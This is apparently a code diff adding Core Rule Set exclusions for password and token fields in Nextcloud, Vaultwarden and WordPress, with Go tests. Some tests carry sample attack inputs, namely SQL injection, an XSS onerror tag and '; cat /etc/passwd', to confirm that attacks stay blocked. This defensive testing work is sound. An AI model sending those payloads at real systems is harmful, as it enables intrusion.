"id:900126,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
# Editing a user through the OCS API can name the password as the field to
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
+138 -8
View File
@@ -16,6 +16,9 @@ import (
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
@@ -48,12 +51,6 @@ const (
// nextcloudOther is a JSON field no exclusion names.
const nextcloudOther = `{"other":"python3"}`
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
// and 932260, each on a path where it skips them, ending in "=".
//
@@ -83,8 +80,7 @@ var nextcloudQueryFields = []string{
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", passwordField},
{nextcloudSignIn, "user="},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
@@ -301,6 +297,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
return scores
}
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
@@ -310,6 +317,125 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
}
}
}
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
}
func TestNextcloudPasswordFieldsPass(t *testing.T) {
t.Parallel()
password := []string{passwordKey}
change := []string{"oldPassword", "newPassword"}
recovery := []string{"oldPassword", "newPassword", "confirmPassword"}
adminRecovery := []string{"recoveryPassword", "confirmPassword"}
wantPasswordFieldsPass(t, []passwordFields{
{"/ocs/v1.php/person/check", formData, password},
{"/ocs/v2.php/person/check", jsonBody, password},
{"/ocs/v2.php/core/apppassword/confirm", jsonBody, password},
{nextcloudShares + "/42/send-email", jsonBody, password},
{"/apps/user_ldap/renewpassword", formData, change},
{"/index.php/apps/user_ldap/renewpassword", formData, change},
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
{"/login/confirm", jsonBody, password},
{"/index.php/login/confirm", formData, password},
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
{
"/settings/personal/changepassword", jsonBody,
[]string{"oldpassword", "newpassword"},
},
{
"/index.php/settings/users/changepassword", formData,
[]string{passwordKey, "recoveryPassword"},
},
{nextcloudShare + "/authenticate/showShare", formData, password},
{nextcloudUsers, jsonBody, password},
{"/ocs/v1.php/cloud/users/alice", formData, password},
{nextcloudUsers + "/alice", jsonBody, password},
{nextcloudShares, jsonBody, password},
{nextcloudShares + "/42", formData, password},
})
}
// TestNextcloudUserPasswordInValuePasses sends a password as Nextcloud's
// provisioning API takes it, as the value of the field the key names.
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
target := nextcloudUsers + "/alice"
form := request{http.MethodPut, target, []string{formData}}
jsonRequest := request{http.MethodPut, target, []string{jsonBody}}
formPassword := func(passwords ...string) string {
return "key=password&" + formBody("value", passwords...)
}
jsonPassword := func(passwords ...string) string {
body := passwordBody(t, jsonRequest, []string{"value"}, passwords...)
return `{"key":"password",` + body[1:]
}
misfiring := misfiringPasswords(t)
for _, sent := range []struct {
r request
body string
}{
{form, formPassword(misfiring...)},
{jsonRequest, jsonPassword(misfiring...)},
{form, formPassword("' OR '1'='1", "<img src=x onerror=x()>")},
{jsonRequest, jsonPassword("; cat /etc/passwd")},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
}
}
// Any other key keeps every rule, and so does a second key.
for _, sent := range []struct {
r request
body string
}{
{form, "key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
{form, formPassword(scriptTag)},
{form, "key=password&key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
} {
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
}
}
// A value in the query keeps every rule.
r := request{
http.MethodPut, target + "?value=%27%20OR%20%271%27%3D%271",
[]string{formData},
}
if got, _ := inspectBody(t, crs, r, "key=password"); got.Score < threshold {
t.Errorf("%s let through: %+v", r.target, got)
}
}
@@ -361,6 +487,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Errorf("%s let through: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
+180
View File
@@ -0,0 +1,180 @@
//go:build recorded
// The tests that check the apps' recorded requests in testdata. The recorded
// tag keeps them out of the test phase's pass with the race detector, and
// its second pass, without the race detector, runs them.
package coreruleset_test
import (
"encoding/json"
"os"
"path/filepath"
"slices"
"strings"
"testing"
)
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
for _, r := range giteaRequests(t) {
if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
}
}
}
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// recordedRequests returns the recorded ordinary requests in the file name
// in testdata, each with its body.
func recordedRequests(t *testing.T, name string) []recordedRequest {
t.Helper()
path := filepath.Join("testdata", name)
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
r := request{recorded.Method, recorded.Target, recorded.Headers}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
r.method, r.target, recorded.Body, got)
}
})
}
}
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
}
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
}
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
}
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt")
}
+42
View File
@@ -82,3 +82,45 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES"
# The admin token, which an administrator types at /admin, skips each rule that
# random passwords set off. The master password is hashed by the apps before
# they send it, so password and masterPasswordHash need no exclusion.
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
"id:900154,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:token "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
ctl:ruleRemoveTargetById=920540;ARGS:token,\
ctl:ruleRemoveTargetById=921200;ARGS:token,\
ctl:ruleRemoveTargetById=930100;ARGS:token,\
ctl:ruleRemoveTargetById=930110;ARGS:token,\
ctl:ruleRemoveTargetById=930120;ARGS:token,\
ctl:ruleRemoveTargetById=932125;ARGS:token,\
ctl:ruleRemoveTargetById=932130;ARGS:token,\
ctl:ruleRemoveTargetById=932160;ARGS:token,\
ctl:ruleRemoveTargetById=932230;ARGS:token,\
ctl:ruleRemoveTargetById=932250;ARGS:token,\
ctl:ruleRemoveTargetById=932260;ARGS:token,\
ctl:ruleRemoveTargetById=932270;ARGS:token,\
ctl:ruleRemoveTargetById=932280;ARGS:token,\
ctl:ruleRemoveTargetById=932330;ARGS:token,\
ctl:ruleRemoveTargetById=932340;ARGS:token,\
ctl:ruleRemoveTargetById=932370;ARGS:token,\
ctl:ruleRemoveTargetById=932380;ARGS:token,\
ctl:ruleRemoveTargetById=933100;ARGS:token,\
ctl:ruleRemoveTargetById=933135;ARGS:token,\
ctl:ruleRemoveTargetById=933180;ARGS:token,\
ctl:ruleRemoveTargetById=933210;ARGS:token,\
ctl:ruleRemoveTargetById=941100;ARGS:token,\
ctl:ruleRemoveTargetById=941120;ARGS:token,\
ctl:ruleRemoveTargetById=941160;ARGS:token,\
ctl:ruleRemoveTargetById=941180;ARGS:token,\
ctl:ruleRemoveTargetById=942100;ARGS:token,\
ctl:ruleRemoveTargetById=942151;ARGS:token,\
ctl:ruleRemoveTargetById=942190;ARGS:token,\
ctl:ruleRemoveTargetById=942230;ARGS:token,\
ctl:ruleRemoveTargetById=942290;ARGS:token,\
ctl:ruleRemoveTargetById=942320;ARGS:token,\
ctl:ruleRemoveTargetById=942540;ARGS:token,\
ctl:ruleRemoveTargetById=942550;ARGS:token,\
ctl:ruleRemoveTargetById=944150;ARGS:token"
+69 -6
View File
@@ -1,7 +1,9 @@
package coreruleset_test
import (
"encoding/base64"
"encoding/json"
"math/rand/v2"
"net/http"
"net/url"
"slices"
@@ -27,12 +29,6 @@ const (
// vaultwardenEmail is a JSON body that sends an address in email.
const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
// vaultwardenField is a field Vaultwarden receives in plain text: the
// request that sends it, and its body, with VALUE where the field's value
// goes.
@@ -283,6 +279,73 @@ func vaultwardenUpload(name string) string {
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
}
func TestVaultwardenAdminTokenPasses(t *testing.T) {
t.Parallel()
wantPasswordFieldsPass(t, []passwordFields{
{"/admin", formData, []string{"token"}},
})
}
// masterPasswordHashes returns count random 32-byte hashes in base64, the
// form in which the apps send a master password.
func masterPasswordHashes(count int) []string {
const size, seed = 32, 288
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
hashes := make([]string, count)
for i := range hashes {
hash := make([]byte, size)
for j := range hash {
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
}
hashes[i] = base64.StdEncoding.EncodeToString(hash)
}
return hashes
}
// The apps hash the master password before they send it, so these fields
// hold only base64 and set off no rule, with no exclusion.
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Parallel()
const perBody = 20
crs := readingBodies(t)
hashes := masterPasswordHashes(perBody)
for _, sent := range []struct {
r request
names []string
}{
{
request{http.MethodPost, "/identity/connect/token", []string{formData}},
[]string{passwordKey},
},
{
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
[]string{"masterPasswordHash", "newMasterPasswordHash"},
},
{
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
[]string{"masterPasswordHash"},
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
}
}
}
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel()
+121 -3
View File
@@ -96,11 +96,129 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, where a password holds any characters:
# 930120: a password ending in /etc/hosts
# Signing in, in pwd, which skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# The other passwords, which skip the same rules:
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
# profile page and the page that edits a user, and adding a user
# post_password: the password of a protected post, sent to /wp-login.php
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new)\.php)$" \
"id:900715,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
# Creating or editing a user through the REST API, in password, in form data or
# JSON, which skips the same rules.
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
"id:900716,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
